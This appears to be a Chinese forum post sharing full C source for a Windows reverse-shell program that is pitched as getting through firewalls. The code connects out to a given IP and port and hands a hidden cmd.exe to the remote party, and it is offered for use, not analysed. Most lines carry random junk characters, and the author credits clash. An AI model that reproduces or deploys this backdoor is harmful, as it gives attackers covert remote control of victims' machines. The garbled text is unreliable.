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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 w+G+&ak<  
NsUP0B}.  
/* ============================== L/7YI\C2  
Rebound port in Windows NT fiZq C?(  
By wind,2006/7 y*7<tj.`b0  
===============================*/ qJ%AbdOI8  
#include ?r/)s()ALf  
#include {qbx iL-  
SioP`*,}  
#pragma comment(lib,"wsock32.lib") Msl8o c  
E .%_i8s  
void OutputShell(); ,); -v4$  
SOCKET sClient; _n=,H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -E,p[Sp  
rls\3 R(jt  
void main(int argc,char **argv) l#^weXSlk  
{ "c*&~GSE4  
WSADATA stWsaData; ZJ'Tb<fP  
int nRet; ;wKsi_``@  
SOCKADDR_IN stSaiClient,stSaiServer; _}3NLAqg  
la{Iqm{i  
if(argc != 3) GPLq$^AH  
{ w3Z;&sFd  
printf("Useage:\n\rRebound DestIP DestPort\n"); P{%R*hb]  
return; )9s 6(Iu  
} U2HAIV8  
(hn;C>B  
WSAStartup(MAKEWORD(2,2),&stWsaData); Q@5v> `  
i2 7KuPjC  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P^J#;{R  
&)GlLpaT  
stSaiClient.sin_family = AF_INET; P)rz%,VF+  
stSaiClient.sin_port = htons(0); s8|F e_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @8"cT-  
(c|Ry[$|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O#3PUuE%d  
{ f0]`TjY  
printf("Bind Socket Failed!\n"); r0j+P%  
return; _>4Qh#6K  
} @zi_@B  
HsRQiai*  
stSaiServer.sin_family = AF_INET; &09g0K66  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C[s='v~}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C*&FApG  
S?e*<s9k  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) k\A[p\  
{ M$MFUGS'  
printf("Connect Error!"); &hSF  
return; FC }r~syqA  
} N= {0A  
OutputShell(); kJK:1;CM?.  
} ZDTp/5=?K/  
gQ=l\/ H  
void OutputShell() `~+[pY 1r  
{ ]5sU =\  
char szBuff[1024]; |jJ9dTD8/  
SECURITY_ATTRIBUTES stSecurityAttributes; ? H7?>ZE  
OSVERSIONINFO stOsversionInfo; sQgJ`+Y8_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dO|n[/qL0  
STARTUPINFO stStartupInfo; |nT+ W| 0U  
char *szShell; #1<Jwt+  
PROCESS_INFORMATION stProcessInformation; ;`:A(yN]T  
unsigned long lBytesRead; /`VrV{\/!  
KvkU]s_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A_}6J,*u  
0S$6j-"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {<L|Z=&k`  
stSecurityAttributes.lpSecurityDescriptor = 0; R(W}..U0R"  
stSecurityAttributes.bInheritHandle = TRUE; -,^Z5N#\|  
$@@@</VbP  
-cL wjI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |[/'W7TV%?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r9!,cs  
<) VNEy'  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vCsJnKqK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IXof- I%8  
stStartupInfo.wShowWindow = SW_HIDE; @lTd,V5f  
stStartupInfo.hStdInput = hReadPipe; j V~+=(w)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bm#/ KT_8  
`&5_~4T7  
GetVersionEx(&stOsversionInfo); PIZK*Lop  
eg(1kDMpn  
switch(stOsversionInfo.dwPlatformId) <jIuVX  
{ {^_K  
case 1: A? T25<}  
szShell = "command.com"; B> V)6\   
break; w*krPaT3  
default: VGeyZ\vU  
szShell = "cmd.exe"; 0W!S.]^1  
break; $i"IOp  
}  [kL`'yi  
;I!Vba  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Cm~z0c|T  
7O\Qxc\  
send(sClient,szMsg,77,0); CjZIBMGc  
while(1) F@rx/3 [  
{ $J!WuOz4^i  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lOu&4Kq{g  
if(lBytesRead) -mqL[ h,  
{ W~d^ *LZt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  re@;6o  
send(sClient,szBuff,lBytesRead,0); 9Z lfY1=  
} xY<*:&  
else ?C*}NM  
{  wjfc9z  
lBytesRead=recv(sClient,szBuff,1024,0); VX]Ud\(  
if(lBytesRead<=0) break; -E>LB\[t)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _<6B.{$\7m  
} `=19iAp.  
} zr^"zcfz&  
E?cf#;2h8m  
return; Bz4;R9_%I  
}
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